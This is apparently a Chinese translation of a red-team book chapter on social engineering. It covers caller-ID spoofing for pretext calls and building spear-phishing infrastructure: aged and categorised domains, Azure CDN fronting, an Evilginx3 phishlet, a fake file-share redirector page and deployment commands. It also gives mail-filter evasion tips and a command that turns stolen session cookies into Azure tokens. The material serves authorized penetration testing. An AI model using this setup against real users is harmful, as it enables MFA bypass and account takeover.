以下为部分资料列举,更多资源可联系教父加入小蜜圈
自 2022 年以来,SpoofCard 开始根据新法规推动变革,新法规要求该应用验证用于来电显示的电话号码的所有权。SpoofCard 的一些“祖父计划”仍然允许使用该服务更改电话号码,但如果您无法自定义号码,另一个选择是尝试在 SpoofCard 上找到与目标公司区号匹配的号码。另一种选择是建立您自己的私人分支机构,https://rift.stacktitan.com/cid-spoofing/上创建了一个关于如何完整设置此功能的精彩演练。
红队活动任何阶段的记录都至关重要,因为交战通常持续数周。在执行任何借口通话时,您可以创建一个表格,以便在针对每个人进行通话时进行记录。下文提供的示例文档是从一个名为 Acme 的虚构组织的角度来记录结果的。
设想以下场景:你冒充服务台人员,向员工表示他们的设备已不同步。员工需要访问你控制的门户网站重新验证其设备。这样做会导致你(红队成员)获得其帐户的访问权限。表 5-2概述了如何在电话伪装期间追踪你的笔记。
鱼叉式网络钓鱼:是时候吸引你的目标了
由于鱼叉式网络钓鱼持续增长,成为最大的初始访问攻击媒介,因此在构建规避型网络钓鱼基础设施时需要考虑各种重要技术。随着攻击的增多,电子邮件过滤也得到了显著改进。攻击策略每天都在变化,因此您需要始终未雨绸缪。在构建鱼叉式网络钓鱼基础设施时,有几个要素至关重要。伪装成对手的最佳方法是通过以下方式伪装成一家普通公司:
使用老化和分类的域
部署云实例
利用 M365 发送电子邮件
让电子邮件可信
利用收集到的数据进行后期开发
基础设施
许多云提供商(包括 Digital Ocean 和 Azure)都可以在云中部署虚拟实例来托管您的基础架构。需要注意的是,在为项目部署任何内容之前,您必须与您选择的云提供商一起审查所有必要的法律信息,以确保您的基础架构不会受到损害。此外,您必须获得授权才能使用这些提供商进行项目。
安全设置
无论你选择哪个云服务提供商,都应该配置访问权限,允许 80 (HTTP)/443 (HTTPS) 端口向外界开放,以及 22 (SSH) 端口仅向你的 IP 地址开放。请勿从你的实例向外界开放 SSH 连接。以下列表提供了如何设置入站和出站规则的示例:
入站规则:
允许从您的 IP (XXXX/32) 进行 SSH
允许 80 访问互联网 (0.0.0.0/0)
允许 443 访问互联网 (0.0.0.0/0)
出站规则:
允许所有出站流量(0.0.0.0/0)
虚拟实例
接下来,您需要部署运行网络钓鱼基础架构的实例。您可以将基础架构部署到您选择的发行版上。我(Savannah)建议使用 Ubuntu 镜像,因为它的功能非常强大,配置如下:
实例类型:1 CPU
实例映像:Ubuntu 发行版
防火墙:UFW 或其他可用选项
存储空间:8 GiB
域
对于网络钓鱼基础设施,最好随着时间的推移收集域名,让它们老化,并开始对域名进行分类。如果您没有时间让它们老化,可以从各个组织购买已经过期的域名。组织会在收到来自新注册域名的电子邮件时实施筛选。购买时域名,您应该坚持购买通用域名,例如corp-internal.com和corp-files.com。这样,您可以重复使用域名,而无需将其指定为特定组织名称,除非这是您的预期目标。当您发送具有其他特征的网络钓鱼邮件时,使用时间在一年左右的域名会更具可信度。如果您尝试手动计算域名的年龄,则至少需要 30 个日期才能正确计算该域名的年龄。因此,最好避免购买从未使用过的域名并尝试立即使用它,因为这可能会导致您遭受损失。
在对域名进行分类时,您应该确保您的网站在分类过程中看起来是合法的。市面上有各种服务提供商,例如 Squarespace 和 Wix,它们可以在您完成域名分类后,以最短的时间为您搭建网站,或者您也可以克隆一个网站来手动管理。
对域名进行分类时,您可以利用 bluscreenofjeff 的《红队指南》中的各种资源,使您的域名处于分类状态,包括
迈克菲
趋势科技
亮云
Fortiguard
其他域名信誉提供商
我建议您在对域名进行分类时,参考其他可用的资源。最佳做法是,在开始使用之前,将您的域名提交给多个域名分类服务机构,以确保其信誉良好。提交域名时,您可以将 DNS 记录指向您正在托管的分类网站,并为该域名添加指向 WWW 的 A 记录,如图5-4所示。图 5-5展示了一个域名如何成功被归类为“商业”和“经济”。
Azure CDN
接下来,我们将使用 Azure 内容分发网络 (CDN) 部署到钓鱼域名的前端。此步骤还需要创建一个 Microsoft 帐户。图 5-6显示了如何从 Microsoft 选择 Azure CDN 标准版(经典版),图 5-7显示了如何使用您的域名配置 CDN 端点。
Evilginx3
对于网络钓鱼登陆页面,您将使用 Kuba Gretzky (@kgretzky) 开发的 Evilginx3。Evilginx3 是一个中间人攻击框架,允许您捕获与用户关联的凭据和会话 Cookie。利用这些 Cookie,您可以绕过多因素身份验证 (MFA)。该工具利用网络钓鱼小程序 (phishlets),其中包含一个 YAML 格式的配置文件,该文件会针对您选择的站点,通过中间人攻击 (MiTM) 流量捕获最终用户的数据。
本节中我们将引用的一些重要术语定义如下:
Phishlets:针对您的目标网站定制的用于网络钓鱼的配置文件。
诱饵:由网络钓鱼小程序创建的网络钓鱼链接,可以使用路径、重定向器、OpenGraph 选项和其他选项进行自定义。
重定向器:用户在实际登录页面之前看到的网站,用于强制用户交互并将您的实际网络钓鱼程序隐藏在互联网上的扫描器中。
会话:在身份验证过程中捕获的凭证和会话 cookie。
黑名单:此功能可让您阻止特定源 IP 或未经授权的请求访问您的服务器。最好从电子邮件过滤器中收集源 IP,以创建一个大规模的阻止列表。
要开始安装 Evilginx3,您需要在服务器上安装 Go 语言来构建包(参见示例 5-1)。
示例 5-1 拉取并构建软件包
git clone https://github.com/kgretzky/evilginx2.git
go build .
您还需要调整 example.yaml 网络钓鱼模板的参数,使其适合您的目标网站。Kgretzky 提供了一个示例网络钓鱼模板,您可以根据目标网站进行自定义;如示例 5-2所示。YAML 文件为该工具提供了指导,告诉您究竟应该在请求中查找什么,以及哪些请求需要过滤掉以代理流量。需要注意的是,每个网络钓鱼工具都是不同的,并且随着应用程序身份验证流程的改变,网络钓鱼工具也会随着时间的推移不断演变。
示例 5-2 YAML(https://github.com/kgretzky/evilginx2/blob/master/phishlets/example.yaml)
min_ver: '3.0.0'
proxy_hosts:
- {phish_sub: ‘<replace_subdomain>’, orig_sub: '<replace)subdomain>',
domain: ‘<target_domain>', session: true, is_landing: true, auto_filter: true}
sub_filters:
- {triggers_on: ‘<target_domain>’, orig_sub: ‘<replace_subdomain>',
domain: ‘<target_domain>’, search: 'something_to_look_for', replace: 'replace_it_
with_this', mimes: ['text/html']}
auth_tokens:
- domain: '.<replace_subdomain>.<target_domain>’
keys: ['cookie_name']
credentials:
username:
key: 'email'
search: '(.*)'
type: 'post'
password:
key: 'password'
search: '(.*)'
type: 'post'
login:
domain: '.<replace_subdomain>.<target_domain>’
path: '/<path>’
您需要了解示例文件内的多个变量:
proxy_hosts:此部分定义用于在合法服务器和最终用户之间代理的域和子域。
sub_filters:此部分利用代理时的字符串替换过滤器来获取动态内容。
auth_tokens:此部分指示在代理响应中捕获了哪些 cookie。
credentials:此部分标识在 POST 请求中捕获的数据 - 即用户名和密码。
登录:此部分指示将显示给最终用户的网络钓鱼登录页面的域和路径位置。
以下是您可以考虑添加到个人资料中的其他选项:
auth_urls :此选项(如示例 5-3所示)用于定义只有最终用户在捕获会话所需的所有令牌后才能访问的路径。
示例 5-3 auth_urls 部分
auth_urls:
- '/admin'
- '/admin/.*'
force_post:如果用户启用了“记住我”设置,此功能将非常有用。此选项将强制用户使用模板此部分中定义的参数进行身份验证。示例 5-4演示了此选项,它利用正则表达式来处理 POST 请求正文中的键值对。当 POST 请求发送到 /sessions 路径时,它会查找与该请求相关的任何键,这些键必须存在才能插入或替换参数。在本例中,它会查找包含user 的键字符串由于定义了user.* key 的通配符,因此可以为该键提供任意值。对于键pass ,它还会查找包含至少四个字符的patch pass字符串。例如,您可以查找passCODE或passWORD,由于搜索正则表达式允许任何值,因此可以为该键提供任意值。
示例 5-4 force_post 部分
force_post:
- path: '/sessions'
search:
- {key: 'session[user.*]', search: '.*'}
- {key: 'session[pass[a-z]{4}]', search: '.*'}
force:
- {key: 'remember_me', value: '1'}
type: 'post'
拦截:此功能指示您希望在代理连接中拦截哪些 HTTP 请求并替换其响应。示例 5-5演示了此选项。
例 5-5 拦截部分
intercept:
- {domain: 'www.linkedin.com', path: '^/report_error$', http_status: 200,
body: '{"error":0}'', mime: "application/json"}
- {domain: 'app.linkedin.com', path: '^/api/v1/log/.*', http_status: 404}
一旦你的 YAML 文件准备好被 Evilginx3 提取,你就需要编辑 index.html 的配置来配置你的重定向器。在最新版本的 Evilginx3 中,重定向器功能在进入你的实际钓鱼网站之前充当一个迷你网站。此功能的目的是隐藏你的钓鱼页面,使其不被互联网上的扫描器发现。重定向器页面上有一个点击框,点击后会打开你的钓鱼小工具登录页面,强制用户交互以查看钓鱼小工具本身。此功能可以有效地防止你的钓鱼页面被恶意利用,并将自身隐藏在登录页面后面。
例 5-6展示了 Evilginx 的示例重定向器;但是,ChatGPT 等工具可以创建一个伪造的 HTML 登录页面,以便您可以根据需要进行自定义。
示例 5-6 重定向器 HTML 文件(https://help.evilginx.com/docs/guides/redirectors)
<!doctype html>
<html lang="en">
<head>
<title>{from_name} ({from_email}) shared a file with you (1)</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-
fit=no">
</head>
<body>
<div class="download">
<button type="button" class="btn btn-primary btn-lg"
onclick="clickedDownload()">Download "{filename}"</button>
</div>
<script>
function clickedDownload() {
window.location.assign({lure_url_js});
}
</script>
<script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"
integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj"
crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/umd/popper.min.
js" integrity="sha384-9/reFTGAW83EW2RDu2S0VKaIzap3H66lZH81PoYlFhbGU+6BZp6G7niu735Sk
7lN" crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.
min.js" integrity="sha384-B4gt1jrGC7Jh4AgTPSdUtOBvfO8shuf57BaghqFfPlYxofvL8/
KUEfYiJOMMV+rV" crossorigin="anonymous"></script>
</body>
</html>
Evilginx 中的其他功能与 OpenGraph 相关。OpenGraph 用于在通过各种通信方式共享网站时创建网站预览;这些网站为最终用户提供了他们尝试点击内容的快速预览。您可以在为网络钓鱼工具生成诱饵时配置 OpenGraph 设置。
Kuba 提供了一个示例(https://help.evilginx.com/docs/guides/lures),其中列出了 OpenGraph 设置中可以使用的各种选项。表 5-3显示了可以自定义的 OpenGraph 设置。
在运行 Evilginx3 之前,您需要更改一些网络设置,以确保 Evilginx3 可以控制 DNS,如示例 5-7所示。此外,您还可以选择生成自己的证书。
示例 5-7 虚拟实例设置命令
## Updating network settings
sudo rm /etc/resolv.conf
sudo ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf
## Edit /etc/hosts
[internal IP] yourdomain.com
sudo systemctl stop system-resolved.service
## Option to generate out your certificate
sudo certbot certonly -d "yourdomain.com" -d "*.yourdomain.com" -a manual
--preferred-challenges dns --register-unsafely-without-email
接下来,打开 screen 会话并启动 Evilginx。您可以选择让该工具为您的域名生成证书;但是,请记住,使用 Evilginx 生成的证书会故意将攻击指标 (IOC) 输入到证书本身中。最好使用 certbot 等工具手动生成证书,如示例 5-7所示。
要手动导入证书,请将证书和私钥放在以下目录下:
~/.evilginx/crt/sites/hostname/phishletname.crt
~/.evilginx/crt/sites/hostname/phishletname.key
在启动 Evilginx 之前,请确保将证书放在此目录中。示例 5-8演示了语法,图 5-8显示了如何启动 Evilginx 实例。
示例 5-8 部署 Evilginx 命令
screen -S evilginx
./evilginx2 -p phishlets/ -debug
config autocert off (disables auto generation of LetsEncrypt certs)
E5 许可证
在测试期间使用 E5 许可证将对您的攻击活动进行最严格的分析,并指示您的电子邮件是否有机会通过大多数电子邮件网关。您不必总是使用 E5 许可证;但是,如果您的电子邮件能够突破 Microsoft 的电子邮件保护措施,那么您可能也能成功绕过大多数其他供应商的电子邮件网关。由于新的检测方法不断涌现,您在测试过程中需要反复试验,但使用这些许可证可以让您有机会开发更多绕过技术。
另一个免费选项是利用 MailTrap(https://mailtrap.io)来测试您的电子邮件。
执行
准备好执行后,请务必测试您之前创建的诱饵 URL,并在您的计算机和手机上的私密窗口中运行它。如果可能,请测试身份验证过程,以确保正确捕获 Cookie。
如果您在域前使用 Azure CDN,则无论诱饵 URL 生成什么,您都需要将其与 Azure 边缘名称进行替换。您的端点应如下所示:
Azure Edge:yourendpoint.azureedge.net
你的诱惑:yourdomain.com/user/login
最终网址:https://yourendpoint.azureedge.net/user/login
一切准备就绪后,您可以通过以下几种方式添加 URL:
将 URL 嵌入电子邮件中的文本中(这样不太隐蔽)。
将诱饵 URL 添加到 M365 文档中,确保它没有超链接,然后与您的目标人员共享该文档(这是隐秘的)。
创建指向网络钓鱼诱饵 URL(也是隐秘的)的二维码。
确定方法后,您的电子邮件中就会包含您的 URL。我建议每封邮件的密送地址最多为 5 个目标,每三个小时发送一次,或者单独发送给员工,但每天最多不超过 5 个目标。如果 Microsoft 怀疑您在向用户发送垃圾邮件,您的帐户将无法再发送邮件,因此务必循序渐进。在发送电子邮件之前,请确保您已准备好执行后漏洞利用的设置。我推荐以下设置:
您要用于代理流量的组织区域中的虚拟实例。
Windows 虚拟机或 VM(通过您的虚拟实例代理您的流量)。
在 Windows 虚拟机的浏览器中安装 Cookie 编辑器扩展程序。Cookie 编辑器扩展程序有助于导入您在网络钓鱼活动期间检索到的会话。您可以利用会话 Cookie 来模拟您在钓鱼活动期间获取到 Cookie 的用户。
TokenTacticsv2(https://github.com/f-bader/TokenTacticsV2)。您可以使用以下命令使用此工具从 ESTSAuth Cookie 获取 Azure 刷新令牌:
点击此处查看代码图像
Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AbcApTk..."
GraphRunner(https://github.com/dafthack/GraphRunner)。这是另一个针对 Microsoft Graph API 的后开发工具,在准备进入后开发阶段时非常有用。
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...